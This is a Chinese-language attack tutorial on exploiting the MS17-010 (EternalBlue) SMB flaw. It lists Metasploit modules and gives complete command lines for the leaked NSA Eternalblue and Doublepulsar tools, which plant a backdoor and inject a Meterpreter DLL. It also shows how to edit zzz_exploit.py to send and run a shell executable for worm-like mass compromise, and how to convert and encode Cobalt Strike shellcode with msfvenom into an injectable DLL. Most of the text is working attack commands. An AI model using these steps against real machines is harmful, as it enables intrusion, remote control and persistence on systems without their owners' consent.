一、Metasploit中的ms17-010:
可以直接search查看,MSF之前的寫過了就不再贅述了。
0 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
針對MS17010集成以下3個工具EternalRomance 永恆浪漫 、EternalSynergy 永恆協作 、EternalChampion 永恆之冠,來執行OS命令的輔助模塊
1 auxiliary/scanner/smb/smb_ms17_010 normal Yes MS17-010 SMB RCE Detection
掃描是否存在MS17010漏洞
2 exploit/windows/smb/doublepulsar_rce 2017-04-14 great Yes DOUBLEPULSAR Payload Execution and Neutralization
針對別人已經安裝好后門之后的利用模塊
3 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
針對存在MS17010關於永恆之藍x64的windows 2008R2/windows 7的利用模塊
4 exploit/windows/smb/ms17_010_eternalblue_win8 2017-03-14 average No MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
針對存在MS17010關於永恆之藍的windows 8+的利用模塊
5 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
針對MS17010集成以下3個工具EternalRomance 永恆浪漫 、EternalSynergy 永恆協作 、EternalChampion 永恆之冠,來獲取shell的漏洞利用模塊
二、NSA原版ms17-010:
1、原版ms17-010的下載和配置:
原版的ms17-010勝在比較穩定,相比MSF那個更不容易藍屏。
下載地址:https://github.com/x0rz/EQGRP_Lost_in_Translation
下載后,將工具包中以下三個目錄中的文件拷貝到同一個目錄中(因為64位系統是支持32位的,所以直接復制32位的就好了):
windows\lib\x86-Windows\
windows\specials\
windows\payloads\
然后在目錄中,把Eternalblue-2.2.0.0.xml文件重命名成Eternalblue-2.2.0.xml,Doublepulsar-1.3.1.0.xml改為Doublepulsar-1.3.1.xml
2、執行命令:
①Eternalblue-2.2.0.exe --TargetIp 10.10.24.231 --Target WIN72K8R2 --DaveProxyPort=0 --NetworkTimeout 60 --TargetPort 445 --VerifyTarget True --VerifyBackdoor True --MaxExploitAttempts 3 --GroomAllocations 12 --OutConfig outlog.txt
②Doublepulsar-1.3.1.exe --OutConfig 2.txt --TargetIp 10.10.24.231 --TargetPort 445 --DllPayload msf_241.176_x86_8080.dll --DllOrdinal 1 ProcessName explorer.exe --ProcessCommandLine --Protocol SMB --Architecture x64 --Function Rundll
其實我們可以直接輸入Eternalblue-2.2.0.exe --help查看具體命令
注意,在第一條命令中:
--TargetIp 10.10.24.231 //寫對方的IP
--Target WIN72K8R2 //是win7的意思,如果是xp就改為--Target xp,如果是2003直接用MSF那個就好了
--NetworkTimeout 60 //設置超時時間
--TargetPort 445 //設置目標端口
--MaxExploitAttempts 3 //設置攻擊嘗試的次數,這個數值可以調大一些,攻擊幾百上千次都是有可能的
--OutConfig outlog.txt //日志
其他的參數都是默認的不用更改
然后在cmd中執行第一條命令(注意執行命令要在正確的路徑下,可以用ctrl+shift+右鍵在當前目錄打開cmd),出現下面的否會結果就說明后門安裝成功了
第二條命令:
然后我們就可以用第二條命令,通過后門傳送一個rundll的馬過去,注意第二條命令的--TargetIp要與第一條命令的一致,其他的參數不用動,其中:
ProcessName explorer.exe //是注入的進程
--Architecture x64 //是64位系統,可以按情況改為x86
--DllPayload msf_241.176_x86_8080.dll //這個pyload是msf用msfvenom生成的,命令忘了可以看看前面的msf筆記。dll文件生成后直接放到Doublepulsar-1.3.1.exe同目錄下即可(也就是之前三合一生成的目錄),否則要寫絕對路徑。
此外,如果利用msf生成dll文件,執行第二條命令之前別忘了在msf上用hindler開啟監聽。
執行命令后,MSF就出現meterpreter了
這個穩定性很高,當然還是有少數機器會重啟(但重啟不會立即執行),因此在執行MSF或CS生成的dll並彈回shell后必須馬上輸入添加啟動項的命令,因此最好事先敲好命令直接復制進去執行
3、ms17-010的批量自動化滲透
文件下載地址:https://github.com/LFODER/MS17-010
解壓后看到zzz_exploit.py文件,該會在C盤根目錄創建 pwded.txt 文件,可以修改它來執行你的Payload。
這里我們直接打開zzz_exploit.py文件,看到這里:
我們也可以在這串代碼后面加上:
smb_send_file(smbConn, '/opt/shell.exe', 'C', '/shell.exe')
service_exec(conn, r'cmd /c c:\\shell.exe')
這兩行代碼的意思是通過SMB發送文件,將 本地的 /opt/shell.exe 發送至被攻擊機器的 C:\shell.exe 並執行 shell.exe 。那么這里的shell.exe是從哪來的呢,MSF的msfvenom懂的都懂,不記得的回去看一下MSF怎么創建文件的。
最終,在命令行終端 輸入 python zzz_exploit.py [IP] 來實施攻擊。
被攻擊機器會收到來自攻擊機發送的惡意文件並執行,從而自動化滲透,實現蠕蟲病毒的效果(別忘了msf上開啟監聽)。
三、Cobalt Strike DLL用於永恆之藍注入
1、原因:
我們在對存在MS17010的漏洞主機進⾏DLL注⼊的時候,⼀般都是⽤的Meataploit的msf venom⽣成出來的,所以每次上線之 后基本都是要經過相對⽐較繁瑣的操作之后轉到Cobalt Strike去,這樣就會顯得⾮常⿇煩。所以可以使⽤metasploit的msf venom來把Cobalt Strike⽣成的bin轉成DLL。
2、具體操作:
先用Cobalt Strike建立一個bin文件
生成文件后,打開msf,用命令將這個bin文件轉化為dll文件
轉化命令:msfvenom -p generic/custom PAYLOADFILE=./payload.bin -a x64 --platform windows -f dll -o shell.dll
此時,這個 shell.dll ,就能⽤於在進⾏永恆之藍的漏洞的dll注⼊了。
3、轉化命令的更多了解
msfvenom命令參數⾮常多,還有就是要注意你的shellcode是x64還是x86,那么你在⽤msfvenom的時進⾏變換。 其實轉化⽅法⼀共分兩種:
①msfvenom -p generic/custom PAYLOADFILE=./shellcode.bin -a x86 --platform windows - e x86/add_sub -f dll -o shellcode-encoded.dll
②cat <shellcode_file> | msfvenom -b <bad_chars> -e -f -a --platform -p -
例子:
cat ~/Desktop/shellcode.bin|./msfvenom -b '\x00' -e x86/shikata_ga_nai --encrypt xor - -encrypt-key 0x69 --arch x86 --platform windows -f c -p -
注意:
Error: Initialization vector is missing
解決⽅案:For AES-256 the key size must be 256 bits or 32 bytes. The IV for CFB mode - as stated earlier - must always be 16 bytes as AES is a 128 bit block cipher. AES is restricted with regards to the block size compared with the Rijndael cipher.
msfvenom使⽤aes256加密時,--encrypt-key長度 為32,--encrypt-iv長度為16位
此外我們也可以用msfvenom -h 查看參數